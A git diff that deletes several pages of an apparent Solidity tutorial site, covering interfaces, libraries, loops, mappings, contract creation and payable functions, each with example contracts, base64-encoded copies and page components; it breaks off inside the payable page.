    ` - -export default html diff --git a/src/pages/interface/index.md b/src/pages/interface/index.md deleted file mode 100644 index 8214c7331..000000000 --- a/src/pages/interface/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Interface -version: 0.8.20 -description: An example of interface in Solidity -keywords: [interface, interfaces, contract, contracts] ---- - -You can interact with other contracts by declaring an `Interface`. - -Interface - -- cannot have any functions implemented -- can inherit from other interfaces -- all declared functions must be external -- cannot declare a constructor -- cannot declare state variables - -```solidity -{{{Interface}}} -``` diff --git a/src/pages/interface/index.tsx b/src/pages/interface/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/interface/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/library/Library.sol b/src/pages/library/Library.sol deleted file mode 100644 index a51cb77b1..000000000 --- a/src/pages/library/Library.sol +++ /dev/null @@ -1,53 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -library Math { - function sqrt(uint y) internal pure returns (uint z) { - if (y > 3) { - z = y; - uint x = y / 2 + 1; - while (x < z) { - z = x; - x = (y / x + x) / 2; - } - } else if (y != 0) { - z = 1; - } - // else z = 0 (default value) - } -} - -contract TestMath { - function testSquareRoot(uint x) public pure returns (uint) { - return Math.sqrt(x); - } -} - -// Array function to delete element at index and re-organize the array -// so that there are no gaps between the elements. -library Array { - function remove(uint[] storage arr, uint index) public { - // Move the last element into the place to delete - require(arr.length > 0, "Can't remove from empty array"); - arr[index] = arr[arr.length - 1]; - arr.pop(); - } -} - -contract TestArray { - using Array for uint[]; - - uint[] public arr; - - function testArrayRemove() public { - for (uint i = 0; i < 3; i++) { - arr.push(i); - } - - arr.remove(1); - - assert(arr.length == 2); - assert(arr[0] == 0); - assert(arr[1] == 2); - } -} diff --git a/src/pages/library/index.html.ts b/src/pages/library/index.html.ts deleted file mode 100644 index 2c3c08b20..000000000 --- a/src/pages/library/index.html.ts +++ /dev/null @@ -1,75 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Library" -export const description = - "Example of how to write and use libraries in your Solidity code" - -export const keywords = ["library"] - -export const codes = [ - { - fileName: "Library.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmxpYnJhcnkgTWF0aCB7CiAgICBmdW5jdGlvbiBzcXJ0KHVpbnQgeSkgaW50ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICAgICAgLy8gZWxzZSB6ID0gMCAoZGVmYXVsdCB2YWx1ZSkKICAgIH0KfQoKY29udHJhY3QgVGVzdE1hdGggewogICAgZnVuY3Rpb24gdGVzdFNxdWFyZVJvb3QodWludCB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIE1hdGguc3FydCh4KTsKICAgIH0KfQoKLy8gQXJyYXkgZnVuY3Rpb24gdG8gZGVsZXRlIGVsZW1lbnQgYXQgaW5kZXggYW5kIHJlLW9yZ2FuaXplIHRoZSBhcnJheQovLyBzbyB0aGF0IHRoZXJlIGFyZSBubyBnYXBzIGJldHdlZW4gdGhlIGVsZW1lbnRzLgpsaWJyYXJ5IEFycmF5IHsKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50W10gc3RvcmFnZSBhcnIsIHVpbnQgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIHJlcXVpcmUoYXJyLmxlbmd0aCA+IDAsICJDYW4ndCByZW1vdmUgZnJvbSBlbXB0eSBhcnJheSIpOwogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIGFyci5wb3AoKTsKICAgIH0KfQoKY29udHJhY3QgVGVzdEFycmF5IHsKICAgIHVzaW5nIEFycmF5IGZvciB1aW50W107CgogICAgdWludFtdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gdGVzdEFycmF5UmVtb3ZlKCkgcHVibGljIHsKICAgICAgICBmb3IgKHVpbnQgaSA9IDA7IGkgPCAzOyBpKyspIHsKICAgICAgICAgICAgYXJyLnB1c2goaSk7CiAgICAgICAgfQoKICAgICAgICBhcnIucmVtb3ZlKDEpOwoKICAgICAgICBhc3NlcnQoYXJyLmxlbmd0aCA9PSAyKTsKICAgICAgICBhc3NlcnQoYXJyWzBdID09IDApOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICB9Cn0K", - }, -] - -const html = `

    Libraries are similar to contracts, but you can't declare any state variable and -you can't send ether.

    -

    A library is embedded into the contract if all library functions are internal.

    -

    Otherwise the library must be deployed and then linked before the contract is deployed.

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -library Math {
    -    function sqrt(uint y) internal pure returns (uint z) {
    -        if (y > 3) {
    -            z = y;
    -            uint x = y / 2 + 1;
    -            while (x < z) {
    -                z = x;
    -                x = (y / x + x) / 2;
    -            }
    -        } else if (y != 0) {
    -            z = 1;
    -        }
    -        // else z = 0 (default value)
    -    }
    -}
    -
    -contract TestMath {
    -    function testSquareRoot(uint x) public pure returns (uint) {
    -        return Math.sqrt(x);
    -    }
    -}
    -
    -// Array function to delete element at index and re-organize the array
    -// so that there are no gaps between the elements.
    -library Array {
    -    function remove(uint[] storage arr, uint index) public {
    -        // Move the last element into the place to delete
    -        require(arr.length > 0, "Can't remove from empty array");
    -        arr[index] = arr[arr.length - 1];
    -        arr.pop();
    -    }
    -}
    -
    -contract TestArray {
    -    using Array for uint[];
    -
    -    uint[] public arr;
    -
    -    function testArrayRemove() public {
    -        for (uint i = 0; i < 3; i++) {
    -            arr.push(i);
    -        }
    -
    -        arr.remove(1);
    -
    -        assert(arr.length == 2);
    -        assert(arr[0] == 0);
    -        assert(arr[1] == 2);
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/library/index.md b/src/pages/library/index.md deleted file mode 100644 index 9ffe837de..000000000 --- a/src/pages/library/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Library -version: 0.8.20 -description: Example of how to write and use libraries in your Solidity code -keywords: [library] ---- - -Libraries are similar to contracts, but you can't declare any state variable and -you can't send ether. - -A library is embedded into the contract if all library functions are internal. - -Otherwise the library must be deployed and then linked before the contract is deployed. - -```solidity -{{{Library}}} -``` diff --git a/src/pages/library/index.tsx b/src/pages/library/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/library/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/loop/Loop.sol b/src/pages/loop/Loop.sol deleted file mode 100644 index a39510188..000000000 --- a/src/pages/loop/Loop.sol +++ /dev/null @@ -1,24 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Loop { - function loop() public { - // for loop - for (uint i = 0; i < 10; i++) { - if (i == 3) { - // Skip to next iteration with continue - continue; - } - if (i == 5) { - // Exit loop with break - break; - } - } - - // while loop - uint j; - while (j < 10) { - j++; - } - } -} diff --git a/src/pages/loop/index.html.ts b/src/pages/loop/index.html.ts deleted file mode 100644 index e3cd480a1..000000000 --- a/src/pages/loop/index.html.ts +++ /dev/null @@ -1,44 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "For and While Loop" -export const description = "Example of for and while loop in Solidity" - -export const keywords = ["for", "loop", "loops", "while", "do"] - -export const codes = [ - { - fileName: "Loop.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IExvb3AgewogICAgZnVuY3Rpb24gbG9vcCgpIHB1YmxpYyB7CiAgICAgICAgLy8gZm9yIGxvb3AKICAgICAgICBmb3IgKHVpbnQgaSA9IDA7IGkgPCAxMDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChpID09IDMpIHsKICAgICAgICAgICAgICAgIC8vIFNraXAgdG8gbmV4dCBpdGVyYXRpb24gd2l0aCBjb250aW51ZQogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGkgPT0gNSkgewogICAgICAgICAgICAgICAgLy8gRXhpdCBsb29wIHdpdGggYnJlYWsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyB3aGlsZSBsb29wCiAgICAgICAgdWludCBqOwogICAgICAgIHdoaWxlIChqIDwgMTApIHsKICAgICAgICAgICAgaisrOwogICAgICAgIH0KICAgIH0KfQo=", - }, -] - -const html = `

    Solidity supports for, while, and do while loops.

    -

    Don't write loops that are unbounded as this can hit the gas limit, causing your transaction to fail.

    -

    For the reason above, while and do while loops are rarely used.

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract Loop {
    -    function loop() public {
    -        // for loop
    -        for (uint i = 0; i < 10; i++) {
    -            if (i == 3) {
    -                // Skip to next iteration with continue
    -                continue;
    -            }
    -            if (i == 5) {
    -                // Exit loop with break
    -                break;
    -            }
    -        }
    -
    -        // while loop
    -        uint j;
    -        while (j < 10) {
    -            j++;
    -        }
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/loop/index.md b/src/pages/loop/index.md deleted file mode 100644 index 3900e1449..000000000 --- a/src/pages/loop/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: For and While Loop -version: 0.8.20 -description: Example of for and while loop in Solidity -keywords: [for, loop, loops, while, do] ---- - -Solidity supports `for`, `while`, and `do while` loops. - -Don't write loops that are unbounded as this can hit the gas limit, causing your transaction to fail. - -For the reason above, `while` and `do while` loops are rarely used. - -```solidity -{{{Loop}}} -``` diff --git a/src/pages/loop/index.tsx b/src/pages/loop/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/loop/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/mapping/Mapping.sol b/src/pages/mapping/Mapping.sol deleted file mode 100644 index c6802462a..000000000 --- a/src/pages/mapping/Mapping.sol +++ /dev/null @@ -1,42 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Mapping { - // Mapping from address to uint - mapping(address => uint) public myMap; - - function get(address _addr) public view returns (uint) { - // Mapping always returns a value. - // If the value was never set, it will return the default value. - return myMap[_addr]; - } - - function set(address _addr, uint _i) public { - // Update the value at this address - myMap[_addr] = _i; - } - - function remove(address _addr) public { - // Reset the value to the default value. - delete myMap[_addr]; - } -} - -contract NestedMapping { - // Nested mapping (mapping from address to another mapping) - mapping(address => mapping(uint => bool)) public nested; - - function get(address _addr1, uint _i) public view returns (bool) { - // You can get values from a nested mapping - // even when it is not initialized - return nested[_addr1][_i]; - } - - function set(address _addr1, uint _i, bool _boo) public { - nested[_addr1][_i] = _boo; - } - - function remove(address _addr1, uint _i) public { - delete nested[_addr1][_i]; - } -} diff --git a/src/pages/mapping/index.html.ts b/src/pages/mapping/index.html.ts deleted file mode 100644 index a69854e88..000000000 --- a/src/pages/mapping/index.html.ts +++ /dev/null @@ -1,63 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Mapping" -export const description = "Example of using mapping in Solidity" - -export const keywords = ["data", "variable", "variables", "mapping"] - -export const codes = [ - { - fileName: "Mapping.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE1hcHBpbmcgewogICAgLy8gTWFwcGluZyBmcm9tIGFkZHJlc3MgdG8gdWludAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBteU1hcDsKCiAgICBmdW5jdGlvbiBnZXQoYWRkcmVzcyBfYWRkcikgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIC8vIE1hcHBpbmcgYWx3YXlzIHJldHVybnMgYSB2YWx1ZS4KICAgICAgICAvLyBJZiB0aGUgdmFsdWUgd2FzIG5ldmVyIHNldCwgaXQgd2lsbCByZXR1cm4gdGhlIGRlZmF1bHQgdmFsdWUuCiAgICAgICAgcmV0dXJuIG15TWFwW19hZGRyXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkciwgdWludCBfaSkgcHVibGljIHsKICAgICAgICAvLyBVcGRhdGUgdGhlIHZhbHVlIGF0IHRoaXMgYWRkcmVzcwogICAgICAgIG15TWFwW19hZGRyXSA9IF9pOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyKSBwdWJsaWMgewogICAgICAgIC8vIFJlc2V0IHRoZSB2YWx1ZSB0byB0aGUgZGVmYXVsdCB2YWx1ZS4KICAgICAgICBkZWxldGUgbXlNYXBbX2FkZHJdOwogICAgfQp9Cgpjb250cmFjdCBOZXN0ZWRNYXBwaW5nIHsKICAgIC8vIE5lc3RlZCBtYXBwaW5nIChtYXBwaW5nIGZyb20gYWRkcmVzcyB0byBhbm90aGVyIG1hcHBpbmcpCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyh1aW50ID0+IGJvb2wpKSBwdWJsaWMgbmVzdGVkOwoKICAgIGZ1bmN0aW9uIGdldChhZGRyZXNzIF9hZGRyMSwgdWludCBfaSkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFlvdSBjYW4gZ2V0IHZhbHVlcyBmcm9tIGEgbmVzdGVkIG1hcHBpbmcKICAgICAgICAvLyBldmVuIHdoZW4gaXQgaXMgbm90IGluaXRpYWxpemVkCiAgICAgICAgcmV0dXJuIG5lc3RlZFtfYWRkcjFdW19pXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkcjEsIHVpbnQgX2ksIGJvb2wgX2JvbykgcHVibGljIHsKICAgICAgICBuZXN0ZWRbX2FkZHIxXVtfaV0gPSBfYm9vOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyMSwgdWludCBfaSkgcHVibGljIHsKICAgICAgICBkZWxldGUgbmVzdGVkW19hZGRyMV1bX2ldOwogICAgfQp9Cg==", - }, -] - -const html = `

    Maps are created with the syntax mapping(keyType => valueType).

    -

    The keyType can be any built-in value type, bytes, string, or any contract.

    -

    valueType can be any type including another mapping or an array.

    -

    Mappings are not iterable.

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract Mapping {
    -    // Mapping from address to uint
    -    mapping(address => uint) public myMap;
    -
    -    function get(address _addr) public view returns (uint) {
    -        // Mapping always returns a value.
    -        // If the value was never set, it will return the default value.
    -        return myMap[_addr];
    -    }
    -
    -    function set(address _addr, uint _i) public {
    -        // Update the value at this address
    -        myMap[_addr] = _i;
    -    }
    -
    -    function remove(address _addr) public {
    -        // Reset the value to the default value.
    -        delete myMap[_addr];
    -    }
    -}
    -
    -contract NestedMapping {
    -    // Nested mapping (mapping from address to another mapping)
    -    mapping(address => mapping(uint => bool)) public nested;
    -
    -    function get(address _addr1, uint _i) public view returns (bool) {
    -        // You can get values from a nested mapping
    -        // even when it is not initialized
    -        return nested[_addr1][_i];
    -    }
    -
    -    function set(address _addr1, uint _i, bool _boo) public {
    -        nested[_addr1][_i] = _boo;
    -    }
    -
    -    function remove(address _addr1, uint _i) public {
    -        delete nested[_addr1][_i];
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/mapping/index.md b/src/pages/mapping/index.md deleted file mode 100644 index e4554994f..000000000 --- a/src/pages/mapping/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Mapping -version: 0.8.20 -description: Example of using mapping in Solidity -keywords: [data, variable, variables, mapping] ---- - -Maps are created with the syntax `mapping(keyType => valueType)`. - -The `keyType` can be any built-in value type, bytes, string, or any contract. - -`valueType` can be any type including another mapping or an array. - -Mappings are not iterable. - -```solidity -{{{Mapping}}} -``` diff --git a/src/pages/mapping/index.tsx b/src/pages/mapping/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/mapping/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/new-contract/NewContract.sol b/src/pages/new-contract/NewContract.sol deleted file mode 100644 index 4e97c9475..000000000 --- a/src/pages/new-contract/NewContract.sol +++ /dev/null @@ -1,54 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Car { - address public owner; - string public model; - address public carAddr; - - constructor(address _owner, string memory _model) payable { - owner = _owner; - model = _model; - carAddr = address(this); - } -} - -contract CarFactory { - Car[] public cars; - - function create(address _owner, string memory _model) public { - Car car = new Car(_owner, _model); - cars.push(car); - } - - function createAndSendEther(address _owner, string memory _model) public payable { - Car car = (new Car){value: msg.value}(_owner, _model); - cars.push(car); - } - - function create2(address _owner, string memory _model, bytes32 _salt) public { - Car car = (new Car){salt: _salt}(_owner, _model); - cars.push(car); - } - - function create2AndSendEther( - address _owner, - string memory _model, - bytes32 _salt - ) public payable { - Car car = (new Car){value: msg.value, salt: _salt}(_owner, _model); - cars.push(car); - } - - function getCar( - uint _index - ) - public - view - returns (address owner, string memory model, address carAddr, uint balance) - { - Car car = cars[_index]; - - return (car.owner(), car.model(), car.carAddr(), address(car).balance); - } -} diff --git a/src/pages/new-contract/index.html.ts b/src/pages/new-contract/index.html.ts deleted file mode 100644 index 0f54169e2..000000000 --- a/src/pages/new-contract/index.html.ts +++ /dev/null @@ -1,82 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Contract that Creates other Contracts" -export const description = - "Learn how to create new contracts from inside of a contract with Solidity" - -export const keywords = [ - "new", - "contract", - "create", - "contracts", - "creates", - "new", - "create2", - "salt", -] - -export const codes = [ - { - fileName: "NewContract.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENhciB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHN0cmluZyBwdWJsaWMgbW9kZWw7CiAgICBhZGRyZXNzIHB1YmxpYyBjYXJBZGRyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgbW9kZWwgPSBfbW9kZWw7CiAgICAgICAgY2FyQWRkciA9IGFkZHJlc3ModGhpcyk7CiAgICB9Cn0KCmNvbnRyYWN0IENhckZhY3RvcnkgewogICAgQ2FyW10gcHVibGljIGNhcnM7CgogICAgZnVuY3Rpb24gY3JlYXRlKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcHVibGljIHsKICAgICAgICBDYXIgY2FyID0gbmV3IENhcihfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlQW5kU2VuZEV0aGVyKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcHVibGljIHBheWFibGUgewogICAgICAgIENhciBjYXIgPSAobmV3IENhcil7dmFsdWU6IG1zZy52YWx1ZX0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNyZWF0ZTIoYWRkcmVzcyBfb3duZXIsIHN0cmluZyBtZW1vcnkgX21vZGVsLCBieXRlczMyIF9zYWx0KSBwdWJsaWMgewogICAgICAgIENhciBjYXIgPSAobmV3IENhcil7c2FsdDogX3NhbHR9KF9vd25lciwgX21vZGVsKTsKICAgICAgICBjYXJzLnB1c2goY2FyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjcmVhdGUyQW5kU2VuZEV0aGVyKAogICAgICAgIGFkZHJlc3MgX293bmVyLAogICAgICAgIHN0cmluZyBtZW1vcnkgX21vZGVsLAogICAgICAgIGJ5dGVzMzIgX3NhbHQKICAgICkgcHVibGljIHBheWFibGUgewogICAgICAgIENhciBjYXIgPSAobmV3IENhcil7dmFsdWU6IG1zZy52YWx1ZSwgc2FsdDogX3NhbHR9KF9vd25lciwgX21vZGVsKTsKICAgICAgICBjYXJzLnB1c2goY2FyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRDYXIoCiAgICAgICAgdWludCBfaW5kZXgKICAgICkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBvd25lciwgc3RyaW5nIG1lbW9yeSBtb2RlbCwgYWRkcmVzcyBjYXJBZGRyLCB1aW50IGJhbGFuY2UpCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IGNhcnNbX2luZGV4XTsKCiAgICAgICAgcmV0dXJuIChjYXIub3duZXIoKSwgY2FyLm1vZGVsKCksIGNhci5jYXJBZGRyKCksIGFkZHJlc3MoY2FyKS5iYWxhbmNlKTsKICAgIH0KfQo=", - }, -] - -const html = `

    Contracts can be created by other contracts using the new keyword. Since 0.8.0, new keyword supports create2 feature by specifying salt options.

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract Car {
    -    address public owner;
    -    string public model;
    -    address public carAddr;
    -
    -    constructor(address _owner, string memory _model) payable {
    -        owner = _owner;
    -        model = _model;
    -        carAddr = address(this);
    -    }
    -}
    -
    -contract CarFactory {
    -    Car[] public cars;
    -
    -    function create(address _owner, string memory _model) public {
    -        Car car = new Car(_owner, _model);
    -        cars.push(car);
    -    }
    -
    -    function createAndSendEther(address _owner, string memory _model) public payable {
    -        Car car = (new Car){value: msg.value}(_owner, _model);
    -        cars.push(car);
    -    }
    -
    -    function create2(address _owner, string memory _model, bytes32 _salt) public {
    -        Car car = (new Car){salt: _salt}(_owner, _model);
    -        cars.push(car);
    -    }
    -
    -    function create2AndSendEther(
    -        address _owner,
    -        string memory _model,
    -        bytes32 _salt
    -    ) public payable {
    -        Car car = (new Car){value: msg.value, salt: _salt}(_owner, _model);
    -        cars.push(car);
    -    }
    -
    -    function getCar(
    -        uint _index
    -    )
    -        public
    -        view
    -        returns (address owner, string memory model, address carAddr, uint balance)
    -    {
    -        Car car = cars[_index];
    -
    -        return (car.owner(), car.model(), car.carAddr(), address(car).balance);
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/new-contract/index.md b/src/pages/new-contract/index.md deleted file mode 100644 index 2a350c3d1..000000000 --- a/src/pages/new-contract/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Contract that Creates other Contracts -version: 0.8.20 -description: Learn how to create new contracts from inside of a contract with Solidity -keywords: [new, contract, create, contracts, creates, new, create2, salt] ---- - -Contracts can be created by other contracts using the `new` keyword. Since 0.8.0, `new` keyword supports `create2` feature by specifying `salt` options. - -```solidity -{{{NewContract}}} -``` diff --git a/src/pages/new-contract/index.tsx b/src/pages/new-contract/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/new-contract/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/payable/Payable.sol b/src/pages/payable/Payable.sol deleted file mode 100644 index 3614ed7c1..000000000 --- a/src/pages/payable/Payable.sol +++ /dev/null @@ -1,38 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Payable { - // Payable address can send Ether via transfer or send - address payable public owner; - - // Payable constructor can receive Ether - constructor() payable { - owner = payable(msg.sender); - } - - // Function to deposit Ether into this contract. - // Call this function along with some Ether. - // The balance of this contract will be automatically updated. - function deposit() public payable {} - - // Call this function along with some Ether. - // The function will throw an error since this function is not payable. - function notPayable() public {} - - // Function to withdraw all Ether from this contract. - function withdraw() public { - // get the amount of Ether stored in this contract - uint amount = address(this).balance; - - // send all Ether to owner - (bool success, ) = owner.call{value: amount}(""); - require(success, "Failed to send Ether"); - } - - // Function to transfer Ether from this contract to address from input - function transfer(address payable _to, uint _amount) public { - // Note that "to" is declared as payable - (bool success, ) = _to.call{value: _amount}(""); - require(success, "Failed to send Ether"); - } -} diff --git a/src/pages/payable/index.html.ts b/src/pages/payable/index.html.ts deleted file mode 100644 index 29649615a..000000000 --- a/src/pages/payable/index.html.ts +++ /dev/null @@ -1,56 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Payable" -export const description = "An example of how to use the keyword payable in Solidity" - -export const keywords = ["payable", "eth", "send", "ether"] - -export const codes = [ - { - fileName: "Payable.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFBheWFibGUgewogICAgLy8gUGF5YWJsZSBhZGRyZXNzIGNhbiBzZW5kIEV0aGVyIHZpYSB0cmFuc2ZlciBvciBzZW5kCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwoKICAgIC8vIFBheWFibGUgY29uc3RydWN0b3IgY2FuIHJlY2VpdmUgRXRoZXIKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGRlcG9zaXQgRXRoZXIgaW50byB0aGlzIGNvbnRyYWN0LgogICAgLy8gQ2FsbCB0aGlzIGZ1bmN0aW9uIGFsb25nIHdpdGggc29tZSBFdGhlci4KICAgIC8vIFRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3Qgd2lsbCBiZSBhdXRvbWF0aWNhbGx5IHVwZGF0ZWQuCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUge30KCiAgICAvLyBDYWxsIHRoaXMgZnVuY3Rpb24gYWxvbmcgd2l0aCBzb21lIEV0aGVyLgogICAgLy8gVGhlIGZ1bmN0aW9uIHdpbGwgdGhyb3cgYW4gZXJyb3Igc2luY2UgdGhpcyBmdW5jdGlvbiBpcyBub3QgcGF5YWJsZS4KICAgIGZ1bmN0aW9uIG5vdFBheWFibGUoKSBwdWJsaWMge30KCiAgICAvLyBGdW5jdGlvbiB0byB3aXRoZHJhdyBhbGwgRXRoZXIgZnJvbSB0aGlzIGNvbnRyYWN0LgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIC8vIGdldCB0aGUgYW1vdW50IG9mIEV0aGVyIHN0b3JlZCBpbiB0aGlzIGNvbnRyYWN0CiAgICAgICAgdWludCBhbW91bnQgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CgogICAgICAgIC8vIHNlbmQgYWxsIEV0aGVyIHRvIG93bmVyCiAgICAgICAgKGJvb2wgc3VjY2VzcywgKSA9IG93bmVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc3VjY2VzcywgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gdHJhbnNmZXIgRXRoZXIgZnJvbSB0aGlzIGNvbnRyYWN0IHRvIGFkZHJlc3MgZnJvbSBpbnB1dAogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyBwYXlhYmxlIF90bywgdWludCBfYW1vdW50KSBwdWJsaWMgewogICAgICAgIC8vIE5vdGUgdGhhdCAidG8iIGlzIGRlY2xhcmVkIGFzIHBheWFibGUKICAgICAgICAoYm9vbCBzdWNjZXNzLCApID0gX3RvLmNhbGx7dmFsdWU6IF9hbW91bnR9KCIiKTsKICAgICAgICByZXF1a